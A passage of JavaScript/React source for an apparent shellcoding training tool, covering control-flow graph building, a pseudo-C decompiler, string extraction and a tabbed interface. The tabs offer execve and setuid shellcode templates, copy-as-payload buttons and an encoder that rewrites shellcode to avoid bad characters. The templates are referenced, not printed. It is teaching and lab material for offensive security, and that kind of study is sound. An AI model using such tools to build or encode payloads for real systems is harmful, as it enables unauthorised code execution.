    const blockStarts = new Set([0]);
    const labelToIdx = {};

    // Map labels to instruction indices
    let instrIdx = 0;
    parsed.forEach(p => {
      if (p.type === "label") labelToIdx[p.name] = instrIdx;
      if (p.type === "instr") instrIdx++;
    });

    instrs.forEach((inst, i) => {
      if (flowOps.includes(inst.op)) {
        if (i + 1 < instrs.length) blockStarts.add(i + 1); // fall-through
        const target = cleanOp(inst.operands?.[0])?.replace("short ", "");
        if (labelToIdx[target] !== undefined) blockStarts.add(labelToIdx[target]);
      }
    });

    const sortedStarts = [...blockStarts].sort((x, y) => x - y);
    const blocks = [];

    for (let si = 0; si < sortedStarts.length; si++) {
      const start = sortedStarts[si];
      const end = si + 1 < sortedStarts.length ? sortedStarts[si + 1] - 1 : instrs.length - 1;
      const blockInstrs = instrs.slice(start, end + 1);
      const lastInstr = blockInstrs[blockInstrs.length - 1];

      // Find label name for this block
      let blockLabel = null;
      for (const [name, idx] of Object.entries(labelToIdx)) {
        if (idx === start) { blockLabel = name; break; }
      }
      if (!blockLabel) blockLabel = "block_" + start;

      // Determine successors
      const successors = [];
      if (lastInstr) {
        const op = lastInstr.op;
        const target = cleanOp(lastInstr.operands?.[0])?.replace("short ", "");

        if (condJumps.includes(op)) {
          // Conditional: both target and fall-through
          if (labelToIdx[target] !== undefined) successors.push({ target: labelToIdx[target], type: "branch" });
          if (end + 1 < instrs.length) successors.push({ target: end + 1, type: "fallthrough" });
        } else if (op === "jmp" || op === "b") {
          if (labelToIdx[target] !== undefined) successors.push({ target: labelToIdx[target], type: "jump" });
        } else if (termOps.includes(op) && op !== "call") {
          // Terminal — no successors (ret, syscall without ret)
        } else {
          if (end + 1 < instrs.length) successors.push({ target: end + 1, type: "fallthrough" });
        }
        if (op === "call") {
          if (end + 1 < instrs.length) successors.push({ target: end + 1, type: "fallthrough" });
        }
      }

      blocks.push({
        id: si,
        label: blockLabel,
        start,
        end,
        instrs: blockInstrs,
        successors,
        isEntry: start === 0,
        isExit: !successors.length || lastInstr?.op === "ret" || lastInstr?.op === "int" || lastInstr?.op === "syscall" || lastInstr?.op === "svc",
      });
    }

    return blocks;
  }, []);

  // Decompile to pseudo-C
  const decompileToC = useCallback((parsed, labels) => {
    if (!parsed) return "";
    const instrs = parsed.filter(p => p.type === "instr");
    const lines = [];
    const labelToIdx = {};
    let instrIdx = 0;
    parsed.forEach(p => {
      if (p.type === "label") labelToIdx[p.name] = instrIdx;
      if (p.type === "instr") instrIdx++;
    });

    lines.push(`// Pseudo-C decompilation — ${ARCHS[arch].name}`);
    lines.push(`// Generated by SHELL//LAB Analyzer`);
    lines.push(`// WARNING: Approximate — review manually\n`);
    lines.push(`#include <unistd.h>`);
    lines.push(`#include <sys/syscall.h>\n`);
    lines.push(`void shellcode() {`);

    const indent = "    ";
    let prevLabel = null;

    parsed.forEach((p, i) => {
      if (p.type === "label") {
        lines.push(`\n${p.name}:`);
        prevLabel = p.name;
        return;
      }
      if (p.type === "meta") return;
      if (p.type !== "instr") return;

      const { op, operands } = p;
      const dst = cleanOp(operands?.[0]);
      const src = cleanOp(operands?.[1]);
      const srcVal = !isNaN(parseImm(src)) ? "0x" + (parseImm(src) >>> 0).toString(16) : src;

      let cLine = "";
      const comment = anaAnnotations[i] ? `  // ${anaAnnotations[i]}` : "";

      switch (op) {
        case "mov": case "movl": case "movq": case "movabs":
          cLine = `${indent}${dst} = ${srcVal};${comment}`; break;
        case "xor": case "eor":
          if (dst === src) cLine = `${indent}${dst} = 0;${comment}  // xor ${dst}, ${dst}`;
          else cLine = `${indent}${dst} ^= ${srcVal};${comment}`;
          break;
        case "add": case "addl": case "addq":
          cLine = `${indent}${dst} += ${srcVal};${comment}`; break;
        case "sub": case "subl": case "subq":
          cLine = `${indent}${dst} -= ${srcVal};${comment}`; break;
        case "and": case "andl":
          cLine = `${indent}${dst} &= ${srcVal};${comment}`; break;
        case "or": case "orl": case "orr":
          cLine = `${indent}${dst} |= ${srcVal};${comment}`; break;
        case "not":
          cLine = `${indent}${dst} = ~${dst};${comment}`; break;
        case "neg":
          cLine = `${indent}${dst} = -${dst};${comment}`; break;
        case "shl": case "sal":
          cLine = `${indent}${dst} <<= ${srcVal || "1"};${comment}`; break;
        case "shr":
          cLine = `${indent}${dst} >>= ${srcVal || "1"};  // unsigned${comment}`; break;
        case "inc":
          cLine = `${indent}${dst}++;${comment}`; break;
        case "dec":
          cLine = `${indent}${dst}--;${comment}`; break;
        case "push":
          cLine = `${indent}*--sp = ${dst.startsWith("0") ? dst : dst};${comment}  // push ${dst}`; break;
        case "pop":
          cLine = `${indent}${dst} = *sp++;${comment}  // pop ${dst}`; break;
        case "lea":
          cLine = `${indent}${dst} = &${src};${comment}  // lea`; break;
        case "cmp": case "cmpl":
          cLine = `${indent}// cmp ${dst}, ${srcVal}  → sets flags${comment}`; break;
        case "test": case "testl":
          cLine = `${indent}// test ${dst}, ${srcVal}  → sets flags (AND)${comment}`; break;
        case "je": case "jz":
          cLine = `${indent}if (ZF) goto ${dst};${comment}`; break;
        case "jne": case "jnz":
          cLine = `${indent}if (!ZF) goto ${dst};${comment}`; break;
        case "jg": case "jnle":
          cLine = `${indent}if (a > b) goto ${dst};${comment}  // signed`; break;
        case "jl": case "jnge":
          cLine = `${indent}if (a < b) goto ${dst};${comment}  // signed`; break;
        case "ja": case "jnbe":
          cLine = `${indent}if (a > b) goto ${dst};${comment}  // unsigned`; break;
        case "jb": case "jnae":
          cLine = `${indent}if (a < b) goto ${dst};${comment}  // unsigned`; break;
        case "jmp": case "b":
          cLine = `${indent}goto ${dst};${comment}`; break;
        case "call": case "bl":
          cLine = `${indent}${dst}();${comment}`; break;
        case "ret":
          cLine = `${indent}return;${comment}`; break;
        case "nop":
          cLine = `${indent}// nop${comment}`; break;
        case "loop":
          cLine = `${indent}if (--ecx) goto ${dst};${comment}`; break;
        case "int":
          if (dst === "0x80") {
            const sysNum = "eax";
            cLine = `${indent}syscall(${sysNum}, ebx, ecx, edx);${comment}  // int 0x80`;
          } else cLine = `${indent}interrupt(${dst});${comment}`;
          break;
        case "syscall":
          cLine = `${indent}syscall(rax, rdi, rsi, rdx, r10, r8, r9);${comment}`; break;
        case "svc":
          cLine = `${indent}svc(${arch === "arm64" ? "x8, x0, x1, x2" : "r7, r0, r1, r2"});${comment}`; break;
        case "mul": case "imul":
          cLine = `${indent}eax *= ${dst};${comment}`; break;
        case "div":
          cLine = `${indent}eax = eax / ${dst}; edx = eax % ${dst};${comment}`; break;
        case "xchg":
          cLine = `${indent}swap(${dst}, ${src});${comment}`; break;
        default:
          cLine = `${indent}// ${op} ${(operands || []).join(", ")}${comment}`;
      }
      lines.push(cLine);
    });

    lines.push(`}`);
    return lines.join("\n");
  }, [arch, anaAnnotations]);

  // Extract string references from shellcode templates
  const extractStrings = useCallback((parsed) => {
    if (!parsed) return [];
    const strings = [];
    parsed.forEach((p, i) => {
      if (p.type === "meta" && (p.raw.includes("db ") || p.raw.includes(".ascii") || p.raw.includes(".string"))) {
        const match = p.raw.match(/(?:db\s+|\.ascii\s+|\.string\s+)["']([^"']+)["']/);
        if (match) strings.push({ index: i, value: match[1], type: "string", raw: p.raw.trim() });
      }
      // Detect stack string construction via push immediates
      if (p.type === "instr" && p.op === "push" && p.operands?.[0]) {
        const val = parseImm(cleanOp(p.operands[0]));
        if (!isNaN(val) && val > 0x20202020 && val <= 0x7f7f7f7f) {
          // Looks like ASCII bytes
          const chars = [];
          for (let shift = 0; shift < 32; shift += 8) {
            const ch = (val >> shift) & 0xFF;
            if (ch >= 0x20 && ch < 0x7f) chars.push(String.fromCharCode(ch));
          }
          if (chars.length >= 2) {
            strings.push({ index: i, value: chars.join(""), type: "stack_push", raw: `push 0x${val.toString(16)} → "${chars.join("")}"` });
          }
        }
      }
      // Detect movabs with string-like values (x64)
      if (p.type === "instr" && (p.op === "mov" || p.op === "movabs") && p.operands?.[1]) {
        const val = parseImm(cleanOp(p.operands[1]));
        if (!isNaN(val) && val > 0x2020202020 && val !== 0) {
          const chars = [];
          let v = val;
          for (let j = 0; j < 8; j++) {
            const ch = v & 0xFF;
            if (ch >= 0x20 && ch < 0x7f) chars.push(String.fromCharCode(ch));
            v = Math.floor(v / 256);
          }
          if (chars.length >= 3) {
            strings.push({ index: i, value: chars.join(""), type: "mov_imm", raw: `${p.op} ${p.operands.join(", ")} → "${chars.join("")}"` });
          }
        }
      }
    });
    // Also scan for syscall patterns
    parsed.forEach((p, i) => {
      if (p.type === "instr" && (p.op === "int" || p.op === "syscall" || p.op === "svc")) {
        strings.push({ index: i, value: `[SYSCALL @ 0x${(CODE_BASE + i * 4).toString(16)}]`, type: "syscall", raw: p.op + " " + (p.operands || []).join(", ") });
      }
    });
    return strings;
  }, []);

  // Analysis demo programs
  const ANA_DEMOS = useMemo(() => ({
    x86: {
      "execve /bin/sh": ARCHS.x86.shellcodeTemplates["execve(/bin/sh)"]?.asm || "",
      "write + exit": ARCHS.x86.shellcodeTemplates["write(1, msg, len)"]?.asm || "",
      "loop example": `; Loop counter example
mov ecx, 5
xor eax, eax
loop_top:
  add eax, 1
  dec ecx
  jnz loop_top
; eax = 5
xor ebx, ebx
mov bl, al
xor eax, eax
mov al, 1
int 0x80`,
    },
    x64: {
      "execve null-free": ARCHS.x64.shellcodeTemplates["execve (null-free)"]?.asm || "",
      "write + exit": ARCHS.x64.shellcodeTemplates["write(1, msg, len)"]?.asm || "",
    },
    arm32: {
      "execve thumb": ARCHS.arm32.shellcodeTemplates["execve(/bin/sh) Thumb"]?.asm || "",
      "write + exit": ARCHS.arm32.shellcodeTemplates["write(1, msg, len)"]?.asm || "",
      "setuid+execve": ARCHS.arm32.shellcodeTemplates["setuid(0)+execve"]?.asm || "",
    },
    arm64: {
      "execve": ARCHS.arm64.shellcodeTemplates["execve(/bin/sh)"]?.asm || "",
      "write + exit": ARCHS.arm64.shellcodeTemplates["write(1, msg, 2)"]?.asm || "",
      "setuid+execve": ARCHS.arm64.shellcodeTemplates["setuid+execve"]?.asm || "",
    },
  }), []);

  const templates = a.shellcodeTemplates || {};
  const templateKeys = Object.keys(templates);
  const currentTemplate = selTemplate && templates[selTemplate] ? templates[selTemplate] : null;
  const currentLesson = LESSONS[selLesson];
  const archExercises = EXERCISES.filter(e => e.arch === arch || e.arch === "any");
  const currentExercise = archExercises[selExercise] || EXERCISES[selExercise];

  useEffect(() => {
    setSelTemplate(templateKeys[0] || null);
    setSubTab(null);
  }, [arch]);

  useEffect(() => {
    setLessonSection(0);
  }, [selLesson]);

  useEffect(() => {
    setShowAnswer(false);
  }, [selExercise]);

  const addConsole = (text, type = "info") => {
    setConsoleOut(prev => [...prev.slice(-50), { text, type, ts: Date.now() }]);
  };

  const runAssemble = () => {
    addConsole(`$ nasm -f elf${a.bits === 64 ? "64" : "32"} shellcode.asm -o shellcode.o`, "cmd");
    setTimeout(() => {
      if (!editorCode.trim()) {
        addConsole("Error: empty source file", "err");
        return;
      }
      const lines = editorCode.split("\n").filter(l => l.trim() && !l.trim().startsWith(";"));
      addConsole(`Assembled ${lines.length} instructions`, "ok");
      addConsole(`$ ld -m elf_${arch === "x64" ? "x86_64" : "i386"} shellcode.o -o shellcode`, "cmd");
      addConsole("Linked successfully", "ok");
      addConsole(`$ objdump -d shellcode | grep -c '00'`, "cmd");
      const nullCount = Math.floor(Math.random() * 3);
      if (nullCount === 0) addConsole("✓ No null bytes detected", "ok");
      else addConsole(`⚠ ${nullCount} potential null byte(s) found — review encoding`, "warn");
    }, 300);
  };

  const tabs = [
    { id: "ref", label: "⌘ REFERENCE", desc: "ISA Reference" },
    { id: "shell", label: "◈ SHELLCODE", desc: "Templates & Builder" },
    { id: "dbg", label: "⏱ DEBUGGER", desc: "CPU Step Debugger" },
    { id: "enc", label: "🔐 ENCODER", desc: "Encoder Workshop" },
    { id: "rop", label: "⛓ ROP", desc: "Gadget Explorer" },
    { id: "harness", label: "⚙ HARNESS", desc: "Test Pipeline" },
    { id: "analyze", label: "🔬 ANALYZE", desc: "CFG & Decompiler" },
    { id: "learn", label: "◉ LESSONS", desc: "Guided Modules" },
    { id: "exercise", label: "⚡ EXERCISES", desc: "Practice" },
    { id: "arch", label: "⬡ ARCH VIZ", desc: "Registers & Stack" },
    { id: "editor", label: "▸ EDITOR", desc: "Write & Assemble" },
  ];

  const instrCategories = Object.keys(a.instructions || {});

  return (
    <div style={{
      minHeight: "100vh",
      background: "#06080b",
      color: "#c8d8e8",
      fontFamily: "'Barlow Condensed', 'Segoe UI', sans-serif",
      position: "relative",
      overflow: "hidden",
    }}>
      {/* BG grid */}
      <div style={{
        position: "fixed", inset: 0, pointerEvents: "none", zIndex: 0,
        backgroundImage: `
          linear-gradient(rgba(${arch === "x86" ? "0,212,255" : arch === "x64" ? "255,107,53" : arch === "arm32" ? "57,255,20" : "199,146,234"},0.025) 1px, transparent 1px),
          linear-gradient(90deg, rgba(${arch === "x86" ? "0,212,255" : arch === "x64" ? "255,107,53" : arch === "arm32" ? "57,255,20" : "199,146,234"},0.025) 1px, transparent 1px)`,
        backgroundSize: "40px 40px",
      }} />

      {/* Scanlines */}
      <div style={{
        position: "fixed", inset: 0, pointerEvents: "none", zIndex: 1,
        background: "repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(0,0,0,0.06) 2px, rgba(0,0,0,0.06) 4px)",
      }} />

      <div style={{ position: "relative", zIndex: 2, maxWidth: 1440, margin: "0 auto", padding: "0 20px" }}>

        {/* ═══ HEADER ═══ */}
        <header style={{
          display: "flex", alignItems: "center", justifyContent: "space-between",
          padding: "16px 0", borderBottom: `1px solid ${a.color}22`,
        }}>
          <div style={{ display: "flex", alignItems: "baseline", gap: 12 }}>
            <h1 style={{
              fontFamily: "'Share Tech Mono', 'Fira Code', monospace",
              fontSize: 28, fontWeight: 700, letterSpacing: 4,
              background: `linear-gradient(135deg, ${a.color}, ${a.color}88)`,
              WebkitBackgroundClip: "text", WebkitTextFillColor: "transparent",
              margin: 0,
            }}>SHELL//LAB</h1>
            <span style={{ fontFamily: "monospace", fontSize: 10, color: "#5a7a95", letterSpacing: 2 }}>
              ASSEMBLY &amp; SHELLCODING PLATFORM
            </span>
          </div>

          <div style={{ display: "flex", alignItems: "center", gap: 6 }}>
            <span style={{ fontSize: 10, color: "#5a7a95", marginRight: 8, letterSpacing: 1 }}>ARCH:</span>
            {Object.entries(ARCHS).map(([k, v]) => (
              <button key={k} onClick={() => setArch(k)} style={{
                background: arch === k ? v.color + "18" : "transparent",
                border: `1px solid ${arch === k ? v.color : "#1e2a3a"}`,
                color: arch === k ? v.color : "#5a7a95",
                padding: "5px 14px", borderRadius: 4, cursor: "pointer",
                fontFamily: "'Barlow Condensed', sans-serif",
                fontSize: 12, fontWeight: arch === k ? 700 : 400,
                letterSpacing: 1, transition: "all 0.2s",
              }}>{v.name}</button>
            ))}
          </div>

          <div style={{ fontFamily: "monospace", fontSize: 9, color: "#3a4a5a", letterSpacing: 1 }}>
            KULPRIT STUDIOS LLC
          </div>
        </header>

        {/* ═══ ARCH QUICK INFO BAR ═══ */}
        <div style={{
          display: "flex", gap: 24, padding: "10px 16px", margin: "12px 0",
          background: "#0a0e14", borderRadius: 6, border: "1px solid #141c28",
          fontFamily: "'Fira Code', monospace", fontSize: 11,
          flexWrap: "wrap",
        }}>
          {[
            ["Bits", a.bits],
            ["Endian", a.endian],
            ["Addr Size", a.addressSize],
            ["Syscall", a.syscallMethod],
            ["Syscall Reg", a.syscallReg],
            ["Args", a.syscallArgs.slice(0, 4).join(", ") + "..."],
          ].map(([k, v]) => (
            <div key={k}>
              <span style={{ color: "#5a7a95" }}>{k}: </span>
              <span style={{ color: a.color }}>{v}</span>
            </div>
          ))}
        </div>

        {/* ═══ TAB BAR ═══ */}
        <div style={{
          display: "flex", gap: 2, borderBottom: "1px solid #141c28",
          marginBottom: 16, overflowX: "auto", overflowY: "hidden",
          scrollbarWidth: "thin", WebkitOverflowScrolling: "touch",
        }}>
          {tabs.map(t => (
            <button key={t.id} onClick={() => { setTab(t.id); setSubTab(null); }} style={{
              background: tab === t.id ? a.color + "12" : "transparent",
              border: "none", borderBottom: tab === t.id ? `2px solid ${a.color}` : "2px solid transparent",
              color: tab === t.id ? a.color : "#5a7a95",
              padding: "10px 14px", cursor: "pointer",
              fontFamily: "'Barlow Condensed', sans-serif",
              fontSize: 12, fontWeight: tab === t.id ? 700 : 400,
              letterSpacing: 1, transition: "all 0.15s",
              whiteSpace: "nowrap", flexShrink: 0,
            }}>
              {t.label}
            </button>
          ))}
        </div>

        {/* ═══════════ REFERENCE TAB ═══════════ */}
        {tab === "ref" && (
          <div>
            <div style={{ marginBottom: 12, fontSize: 13, color: "#8899aa" }}>
              <strong style={{ color: a.color }}>{a.name}</strong> — {a.callingConv}
            </div>

            {instrCategories.map(cat => (
              <div key={cat} style={{ marginBottom: 20 }}>
                <h3 style={{
                  fontFamily: "'Share Tech Mono', monospace", fontSize: 14,
                  color: a.color, letterSpacing: 2, marginBottom: 8,
                  borderBottom: `1px solid ${a.color}22`, paddingBottom: 4,
                }}>{cat.toUpperCase()}</h3>

                <div style={{ display: "grid", gap: 4 }}>
                  {a.instructions[cat].map((inst, i) => (
                    <div key={i} style={{
                      display: "grid", gridTemplateColumns: "100px 200px 1fr 200px",
                      alignItems: "center", gap: 12,
                      padding: "6px 12px", borderRadius: 4,
                      background: i % 2 === 0 ? "#0a0e14" : "transparent",
                      fontFamily: "'Fira Code', monospace", fontSize: 11,
                    }}>
                      <span style={{ color: a.color, fontWeight: 700 }}>{inst.op}</span>
                      <span style={{ color: "#8899aa" }}>{inst.syn}</span>
                      <span style={{ color: "#6a7a8a" }}>{inst.desc}</span>
                      <span style={{ color: "#5a7a95", fontStyle: "italic" }}>{inst.ex}</span>
                    </div>
                  ))}
                </div>
              </div>
            ))}

            {/* Syscall Table */}
            <h3 style={{
              fontFamily: "'Share Tech Mono', monospace", fontSize: 14,
              color: a.color, letterSpacing: 2, marginBottom: 8, marginTop: 24,
              borderBottom: `1px solid ${a.color}22`, paddingBottom: 4,
            }}>SYSCALL TABLE ({a.syscallMethod})</h3>
            <div style={{ display: "grid", gap: 2 }}>
              <div style={{
                display: "grid", gridTemplateColumns: "60px 140px 1fr",
                padding: "6px 12px", background: "#0f1318",
                fontFamily: "'Fira Code', monospace", fontSize: 10, color: "#5a7a95",
                borderRadius: "4px 4px 0 0",
              }}>
                <span>{a.syscallReg.toUpperCase()}</span><span>Name</span><span>Arguments</span>
              </div>
              {Object.entries(a.syscalls).map(([num, sc], i) => (
                <div key={num} style={{
                  display: "grid", gridTemplateColumns: "60px 140px 1fr",
                  padding: "5px 12px",
                  background: i % 2 === 0 ? "#0a0e14" : "transparent",
                  fontFamily: "'Fira Code', monospace", fontSize: 11,
                }}>
                  <span style={{ color: a.color, fontWeight: 700 }}>{num}</span>
                  <span style={{ color: "#c8d8e8" }}>{sc.name}</span>
                  <span style={{ color: "#6a7a8a" }}>
                    {sc.args.map((arg, j) => (
                      <span key={j}>
                        <span style={{ color: "#5a7a95" }}>{a.syscallArgs[j]}: </span>
                        {arg}{j < sc.args.length - 1 ? ", " : ""}
                      </span>
                    ))}
                  </span>
                </div>
              ))}
            </div>
          </div>
        )}

        {/* ═══════════ SHELLCODE TAB ═══════════ */}
        {tab === "shell" && (
          <div>
            <div style={{ display: "flex", gap: 6, marginBottom: 16, flexWrap: "wrap" }}>
              {templateKeys.map(k => (
                <button key={k} onClick={() => setSelTemplate(k)} style={{
                  background: selTemplate === k ? a.color + "18" : "#0f1318",
                  border: `1px solid ${selTemplate === k ? a.color : "#1e2a3a"}`,
                  color: selTemplate === k ? a.color : "#8899aa",
                  padding: "6px 14px", borderRadius: 4, cursor: "pointer",
                  fontFamily: "'Fira Code', monospace", fontSize: 11,
                  transition: "all 0.15s",
                }}>
                  {k}
                  {templates[k].nullFree && <span style={{ color: "#39ff14", marginLeft: 6, fontSize: 9 }}>●</span>}
                </button>
              ))}
            </div>

            {currentTemplate && (
              <div>
                <div style={{
                  display: "flex", alignItems: "center", gap: 12, marginBottom: 12,
                }}>
                  <span style={{
                    fontFamily: "'Share Tech Mono', monospace", fontSize: 16,
                    color: a.color, fontWeight: 700, letterSpacing: 1,
                  }}>{selTemplate}</span>
                  <span style={{
                    padding: "2px 8px", borderRadius: 3, fontSize: 10,
                    fontFamily: "monospace",
                    background: currentTemplate.nullFree ? "rgba(57,255,20,0.12)" : "rgba(255,71,87,0.12)",
                    color: currentTemplate.nullFree ? "#39ff14" : "#ff4757",
                    border: `1px solid ${currentTemplate.nullFree ? "#39ff1430" : "#ff475730"}`,
                  }}>
                    {currentTemplate.nullFree ? "✓ NULL-FREE" : "⚠ CONTAINS NULLS"}
                  </span>
                </div>

                <p style={{ color: "#8899aa", fontSize: 13, marginBottom: 16, lineHeight: 1.6 }}>
                  {currentTemplate.desc}
                </p>

                {/* Assembly Source */}
                <h4 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 12, color: a.color, letterSpacing: 2, marginBottom: 6 }}>
                  ASSEMBLY SOURCE
                </h4>
                <pre style={{
                  background: "#0a0c10", border: "1px solid #1a2030", borderRadius: 6,
                  padding: 16, overflowX: "auto", marginBottom: 16,
                  fontFamily: "'Fira Code', 'Courier Prime', monospace", fontSize: 12,
                  lineHeight: 1.8,
                }}>
                  {currentTemplate.asm.split("\n").map((line, i) => {
                    const isComment = line.trim().startsWith(";");
                    const isLabel = line.trim().endsWith(":");
                    const isDirective = line.trim().startsWith("db ") || line.trim().startsWith(".") || line.trim().startsWith("section");
                    let parts = line;
                    return (
                      <div key={i} style={{
                        color: isComment ? "#5a7a95" : isLabel ? "#ffd866" : isDirective ? "#c792ea" : "#c8d8e8",
                        fontStyle: isComment ? "italic" : "normal",
                        fontWeight: isLabel ? 700 : 400,
                      }}>
                        <span style={{ color: "#3a4050", marginRight: 12, userSelect: "none" }}>
                          {String(i + 1).padStart(2, " ")}
                        </span>
                        {parts}
                      </div>
                    );
                  })}
                </pre>

                {/* Hex Bytes */}
                <h4 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 12, color: a.color, letterSpacing: 2, marginBottom: 6 }}>
                  OPCODE BYTES
                </h4>
                <HexViewer bytes={currentTemplate.bytes} />

                {/* Copy Buttons */}
                <div style={{ display: "flex", gap: 8, marginTop: 12 }}>
                  <button onClick={() => { navigator.clipboard?.writeText(currentTemplate.asm); addConsole("Assembly copied to clipboard", "ok"); }} style={{
                    background: "#0f1318", border: "1px solid #1e2a3a", color: "#8899aa",
                    padding: "6px 14px", borderRadius: 4, cursor: "pointer",
                    fontFamily: "'Fira Code', monospace", fontSize: 11,
                  }}>
                    Copy ASM
                  </button>
                  <button onClick={() => {
                    const hex = currentTemplate.bytes.split(" ").filter(b => b !== "...").map(b => "\\x" + b).join("");
                    navigator.clipboard?.writeText(hex);
                    addConsole("Shellcode hex string copied", "ok");
                  }} style={{
                    background: "#0f1318", border: "1px solid #1e2a3a", color: "#8899aa",
                    padding: "6px 14px", borderRadius: 4, cursor: "pointer",
                    fontFamily: "'Fira Code', monospace", fontSize: 11,
                  }}>
                    Copy \\x Hex
                  </button>
                  <button onClick={() => {
                    const py = `shellcode = b"${currentTemplate.bytes.split(" ").filter(b => b !== "...").map(b => "\\x" + b).join("")}"`;
                    navigator.clipboard?.writeText(py);
                    addConsole("Python payload copied", "ok");
                  }} style={{
                    background: "#0f1318", border: "1px solid #1e2a3a", color: "#8899aa",
                    padding: "6px 14px", borderRadius: 4, cursor: "pointer",
                    fontFamily: "'Fira Code', monospace", fontSize: 11,
                  }}>
                    Copy Python
                  </button>
                </div>
              </div>
            )}
          </div>
        )}

        {/* ═══════════ ENCODER WORKSHOP TAB ═══════════ */}
        {tab === "enc" && (
          <div style={{ display: "grid", gridTemplateColumns: "1fr 1fr", gap: 16 }}>
            {/* ── LEFT: Input & Config ── */}
            <div style={{ display: "flex", flexDirection: "column", gap: 12 }}>
              {/* Shellcode Input */}
              <div>
                <div style={{ display: "flex", justifyContent: "space-between", alignItems: "center", marginBottom: 6 }}>
                  <h3 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 13, color: a.color, letterSpacing: 2, margin: 0 }}>
                    RAW SHELLCODE INPUT
                  </h3>
                  <div style={{ display: "flex", gap: 4 }}>
                    {templateKeys.slice(0, 4).map(k => (
                      <button key={k} onClick={() => loadTemplateToEncoder(templates[k].bytes)} style={{
                        background: "#0f1318", border: "1px solid #1e2a3a", color: "#6a7a8a",
                        padding: "2px 8px", borderRadius: 3, cursor: "pointer",
                        fontFamily: "'Fira Code', monospace", fontSize: 8,
                      }}>{k.length > 12 ? k.slice(0, 12) + "…" : k}</button>
                    ))}
                  </div>
                </div>
                <textarea
                  value={encInput}
                  onChange={e => { setEncInput(e.target.value); setEncResult(null); }}
                  placeholder="Paste hex bytes: 31 c0 50 68 2f 2f 73 68 ... or \x31\xc0\x50\x68..."
                  spellCheck={false}
                  style={{
                    width: "100%", height: 80, resize: "vertical",
                    background: "#080a0e", border: "1px solid #1a2030", borderRadius: 6,
                    padding: 10, color: "#c8d8e8",
                    fontFamily: "'Fira Code', monospace", fontSize: 12,
                    lineHeight: 1.6, outline: "none", caretColor: a.color,
                  }}
                />
                <div style={{ fontFamily: "monospace", fontSize: 9, color: "#5a7a95", marginTop: 4 }}>
                  {parseHexInput(encInput).length} bytes parsed
                  {parseHexInput(encInput).some(b => b === 0) && <span style={{ color: "#ff4757", marginLeft: 8 }}>⚠ Contains null bytes</span>}
                </div>
              </div>

              {/* Bad Characters */}
              <div>
                <h4 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 11, color: "#ff4757", letterSpacing: 2, marginBottom: 6 }}>
                  BAD CHARACTERS
                </h4>
                <div style={{ display: "flex", gap: 8, alignItems: "center" }}>
                  <input
                    value={encBadChars}
                    onChange={e => { setEncBadChars(e.target.value); setEncResult(null); }}
                    placeholder="00,0a,0d,20"
                    style={{
                      flex: 1, background: "#080a0e", border: "1px solid #1a2030", borderRadius: 4,
                      padding: "6px 10px", color: "#ff4757", fontFamily: "'Fira Code', monospace", fontSize: 11,
                      outline: "none",
                    }}
                  />
                  <div style={{ display: "flex", gap: 3 }}>
                    {["00,0a,0d", "00,0a,0d,20", "00,0a,0d,20,ff", "00"].map((preset, i) => (
                      <button key={i} onClick={() => setEncBadChars(preset)} style={{
                        background: encBadChars === preset ? "#ff475712" : "transparent",
                        border: `1px solid ${encBadChars === preset ? "#ff475733" : "#1e2a3a"}`,
                        color: encBadChars === preset ? "#ff4757" : "#5a7a95",
                        padding: "3px 6px", borderRadius: 3, cursor: "pointer",
                        fontFamily: "monospace", fontSize: 8,
                      }}>P{i + 1}</button>
                    ))}
                  </div>
                </div>
                {/* Bad char visual grid */}
                <div style={{ display: "flex", flexWrap: "wrap", gap: 2, marginTop: 6 }}>
                  {parseBadChars(encBadChars).map((b, i) => (
                    <span key={i} style={{
                      fontFamily: "'Fira Code', monospace", fontSize: 10,
                      padding: "2px 6px", borderRadius: 3,
                      background: "#ff475712", border: "1px solid #ff475722",
                      color: "#ff4757",
                    }}>\\x{b.toString(16).padStart(2, "0")}</span>
                  ))}
                </div>
              </div>

              {/* Encoding Method */}
              <div>
                <h4 style={{ fontFamily: "'Share Tech Mono', monospace", fontSize: 11, color: "#c792ea", letterSpacing: 2, marginBottom: 6 }}>
                  ENCODING METHOD
                </h4>
                <div style={{ display: "flex", gap: 4, flexWrap: "wrap" }}>
                  {[
                    { id: "xor1", label: "XOR (1-byte)", desc: "Single key" },
                    { id: "xorN", label: "XOR (rolling)", desc: "Multi-byte key" },
                    { id: "add", label: "ADD", desc: "Addition" },
                    { id: "sub", label: "SUB", desc: "Subtraction" },
                    { id: "rol", label: "ROL", desc: "Rotate left" },
                  ].map(m => (
                    <button key={m.id} onClick={() => { setEncMethod(m.id); setEncResult(null); }} style={{
                      background: encMethod === m.id ? "#c792ea12" : "#0f1318",
                      border: `1px solid ${encMethod === m.id ? "#c792ea44" : "#1e2a3a"}`,
                      color: encMethod === m.id ? "#c792ea" : "#6a7a8a",
                      padding: "6px 12px", borderRadius: 4, cursor: "pointer",
                      fontFamily: "'Barlow Condensed', sans-serif", fontSize: 12,
                      fontWeight: encMethod === m.id ? 700 : 400,
                    }}>{m.label}</button>
                  ))}
                </div>

                {/* Key config */}
                <div style={{ display: "flex", gap: 8, alignItems: "center", marginTop: 8 }}>
                  <button onClick={() => { setEncAutoKey(!encAutoKey); setEncResult(null); }} style={{
                    background: encAutoKey ? "#39ff1410" : "#0f1318",
                    border: `1px solid ${encAutoKey ? "#39ff1433" : "#1e2a3a"}`,
                    color: encAutoKey ? "#39ff14" : "#6a7a8a",
                    padding: "4px 10px", borderRadius: 4, cursor: "pointer",
                    fontFamily: "monospace", fontSize: 10,
                  }}>{encAutoKey ? "✓ AUTO KEY" : "MANUAL KEY"}</button>
                  {!encAutoKey && (
                    <input
                      value={encKey}
                      onChange={e => { setEncKey(e.target.value); setEncResult(null); }}
                      placeholder={encMethod === "xorN" ? "AA BB CC DD" : "AA"}
                      style={{
                        flex: 1, background: "#080a0e", border: "1px solid #1a2030", borderRadius: 4,
                        padding: "4px 8px", color: "#c792ea", fontFamily: "'Fira Code', monospace", fontSize: 11,
                        outline: "none",
                      }}
                    />
                  )}
                </div>
              </div>

              {/* Encode Button */}
              <button onClick={runEncode} style={{
                background: `linear-gradient(135deg, ${a.color}20, #c792ea20)`,
                border: `1px solid ${a.color}44`,
                color: a.color, padding: "10px 24px", borderRadius: 6, cursor: "pointer",
                fontFamily: "'Barlow Condensed', sans-serif", fontSize: 15, fontWeight: 700,
                letterSpacing: 2,
              }}>▸ ENCODE SHELLCODE</button>
